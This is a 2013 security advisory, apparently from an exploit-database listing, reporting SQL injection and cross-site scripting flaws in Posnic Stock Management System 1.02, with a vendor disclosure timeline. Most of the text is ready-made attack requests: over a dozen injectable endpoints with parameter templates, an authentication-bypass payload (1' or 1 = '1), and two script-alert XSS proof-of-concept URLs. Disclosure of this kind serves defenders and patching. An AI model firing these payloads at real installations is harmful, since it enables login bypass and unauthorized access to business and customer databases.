126 lines
No EOL
4.3 KiB
Text
126 lines
No EOL
4.3 KiB
Text
# Exploit Title: Posnic Stock Management System 1.02 Multiple Vulnerabilities
|
|
# Date: 26 Sep 2013
|
|
# Vendor Homepage: http://www.posnic.com
|
|
# Software Link: http://sourceforge.net/projects/stockmanagement/?source=directory
|
|
# Version: 1.02
|
|
# Tested on: Win 7/Backtrack
|
|
# CVE :
|
|
# Exploit Author: Sarahma Security
|
|
# Author Homepage: http://sarahma.co.id
|
|
# Author Email: research@sarahma.co.id
|
|
|
|
========================
|
|
SQL Injection
|
|
========================
|
|
Found on
|
|
http://localhost/posnic/change_password.php
|
|
parameter : old_pass
|
|
post data : change_pass=Save&confirm_pass=acUn3t1x&new_pass=acUn3t1x&old_pass=1{SQL_HERE}
|
|
|
|
Found on
|
|
http://localhost/posnic/forget_pass.php
|
|
parameter : name
|
|
Payload : 1' or 1 = '1
|
|
|
|
Found on
|
|
http://localhost/posnic/update_sales.php
|
|
parameter : sid
|
|
http://localhost/posnic/update_sales.php?sid=22{SQL_HERE}&table=stock_sales&return=view_sales.php
|
|
|
|
Found on
|
|
http://localhost/posnic/update_customer_details.php
|
|
parameter : sid
|
|
http://localhost/posnic/update_customer_details.php?sid=9{SQL_HERE}&table=customer_details&return=view_customers.php
|
|
|
|
Found on
|
|
http://localhost/posnic/update_purchase.php
|
|
parameter : sid
|
|
http://localhost/posnic/update_purchase.php?sid=SD263{SQL_HERE}&table=stock_entries&return=view_purchase.php
|
|
|
|
Found on
|
|
http://localhost/posnic/update_supplier.php
|
|
parameter : sid
|
|
http://localhost/posnic/update_supplier.php?sid=38{SQL_HERE}&table=supplier_details&return=view_supplier.php
|
|
|
|
Found on
|
|
http://localhost/posnic/update_stock.php
|
|
parameter : sid
|
|
http://localhost/posnic/update_stock.php?sid=35{SQL_HERE}&table=stock_details&return=view_product.php
|
|
|
|
Found on
|
|
http://localhost/posnic/update_payment.php
|
|
parameter : sid
|
|
http://localhost/posnic/update_payment.php?sid=SD266{SQL_HERE}&table=stock_entries&return=view_payments.php
|
|
|
|
Found on
|
|
http://localhost/posnic/view_sales.php
|
|
parameter : searchtxt
|
|
post data : searchtxt=12{SQL_HERE}&Search=Search
|
|
|
|
Found on
|
|
http://localhost/posnic/view_customers.php
|
|
parameter : searchtxt
|
|
post data : searchtxt=12{SQL_HERE}&Search=Search
|
|
|
|
Found on
|
|
http://localhost/posnic/view_purchase.php
|
|
parameter : searchtxt
|
|
post data : searchtxt=12{SQL_HERE}&Search=Search
|
|
|
|
Found on
|
|
http://localhost/posnic/view_supplier.php
|
|
parameter : searchtxt
|
|
post data : searchtxt=12{SQL_HERE}&Search=Search
|
|
|
|
Found on
|
|
http://localhost/posnic/view_product.php
|
|
parameter : searchtxt
|
|
post data : searchtxt=12{SQL_HERE}&Search=Search
|
|
|
|
Found on
|
|
http://localhost/posnic/view_payments.php
|
|
parameter : searchtxt
|
|
post data : searchtxt=12{SQL_HERE}&Search=Search
|
|
|
|
========================
|
|
XSS Vulnerability
|
|
========================
|
|
Found On
|
|
http://localhost/posnic/forget_pass.php
|
|
parameter : msg
|
|
Ex : http://localhost/posnic/forget_pass.php?msg=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E
|
|
|
|
Found On
|
|
http://localhost/posnic/index.php
|
|
parameter : msg
|
|
http://localhost/posnic/index.php?msg=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E&type=error
|
|
|
|
|
|
========================
|
|
Solution :
|
|
========================
|
|
No Update Until This Advisory published
|
|
|
|
========================
|
|
Timeline:
|
|
========================
|
|
2013-09-19 Provided details vulnerability to vendor
|
|
2013-09-22 Vendor Reply Message
|
|
2013-09-25 No Response From Vendor
|
|
2013-09-26 Advisory published
|
|
|
|
|
|
###################################################################################################################
|
|
|
|
______ __ ______
|
|
/ \ / | / \
|
|
/000000 | ______ ______ ______ 00 |____ _____ ____ ______ /000000 | ______ _______
|
|
00 \__00/ / \ / \ / \ 00 \ / \/ \ / \ 00 \__00/ / \ / |
|
|
00 \ 000000 |/000000 |000000 |0000000 |000000 0000 | 000000 | 00 \ /000000 |/0000000/
|
|
000000 | / 00 |00 | 00/ / 00 |00 | 00 |00 | 00 | 00 | / 00 | 000000 |00 00 |00 |
|
|
/ \__00 |/0000000 |00 | /0000000 |00 | 00 |00 | 00 | 00 |/0000000 | / \__00 |00000000/ 00 \_____
|
|
00 00/ 00 00 |00 | 00 00 |00 | 00 |00 | 00 | 00 |00 00 | 00 00/ 00 |00 |
|
|
000000/ 0000000/ 00/ 0000000/ 00/ 00/ 00/ 00/ 00/ 0000000/ 000000/ 0000000/ 0000000/
|
|
|
|
|
|
################################################################################################################### |